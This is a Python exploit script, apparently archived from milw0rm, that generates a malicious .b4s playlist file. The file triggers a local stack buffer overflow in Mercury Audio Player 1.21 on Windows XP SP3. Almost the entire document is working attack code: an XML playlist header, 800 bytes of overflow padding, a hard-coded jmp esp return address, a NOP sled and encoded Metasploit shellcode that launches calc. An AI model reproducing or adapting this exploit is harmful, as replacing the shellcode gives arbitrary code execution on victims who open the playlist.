#usage: exploit.py
print "**************************************************************************"
print " Mercury Audio Player 1.21 (.b4s) Local Stack Overflow\n"
print " Refer: http://www.milw0rm.com/exploits/8578"
print " Exploit code: His0k4"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: TO ELITE ALGERIANS,snakespc.com\n"
print "**************************************************************************"
         	

header1 = (
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31"
"\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x27\x55\x54"
"\x46\x2d\x38\x27\x20\x73\x74\x61\x6e\x64\x61\x6c\x6f\x6e\x65\x3d"
"\x22\x79\x65\x73\x22\x3f\x3e\x0d\x0a\x3c\x21\x2d\x2d\x20\x54\x68"
"\x65\x20\x74\x61\x67\x20\x62\x65\x6c\x6f\x77\x20\x70\x72\x6f\x76"
"\x69\x64\x65\x73\x20\x63\x6f\x6d\x70\x61\x74\x69\x62\x69\x6c\x69"
"\x74\x79\x20\x77\x69\x74\x68\x20\x57\x69\x6e\x61\x6d\x70\x33\x20"
"\x2d\x2d\x3e\x0d\x0a\x20\x3c\x57\x69\x6e\x61\x6d\x70\x58\x4d\x4c"
"\x3e\x0d\x0a\x3c\x21\x2d\x2d\x20\x47\x65\x6e\x65\x72\x61\x74\x65"
"\x64\x20\x62\x79\x20\x4d\x65\x72\x63\x75\x72\x79\x20\x41\x75\x64"
"\x69\x6f\x20\x50\x6c\x61\x79\x65\x72\x20\x31\x2e\x32\x31\x20\x2d"
"\x2d\x3e\x0d\x0a\x20\x20\x3c\x70\x6c\x61\x79\x6c\x69\x73\x74\x20"
"\x6e\x75\x6d\x5f\x65\x6e\x74\x72\x69\x65\x73\x3d\x22\x31\x22\x20"
"\x6c\x61\x62\x65\x6c\x3d\x22\x50\x6c\x61\x79\x6c\x69\x73\x74\x20"
"\x30\x30\x31\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x65\x6e\x74\x72"
"\x79\x20\x50\x6c\x61\x79\x73\x74\x72\x69\x6e\x67\x3d\x22\x66\x69"
"\x6c\x65\x3a")

header2 = (
"\x2e\x6d\x70\x33\x22\x3e\x0d\x0a\x20\x20\x20\x20\x20\x20\x3c\x4e"
"\x61\x6d\x65\x3e\x20\x2d\x20\x3c\x2f\x4e\x61\x6d\x65\x3e\x0d\x0a"
"\x20\x20\x20\x20\x3c\x2f\x65\x6e\x74\x72\x79\x3e\x0d\x0a\x20\x20"
"\x3c\x2f\x70\x6c\x61\x79\x6c\x69\x73\x74\x3e\x0d\x0a\x20\x3c\x2f"
"\x57\x69\x6e\x61\x6d\x70\x58\x4d\x4c\x3e\x0d\x0a")
			
buff = "\x41" * 800
jump = "\x67\x86\x86\x7C" # jmp esp kernerl32.dll
nops = "\x90"*6

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")

exploit = header1 + buff + jump + nops + shellcode + header2

try:
    out_file = open("exploit.b4s",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-04-30]
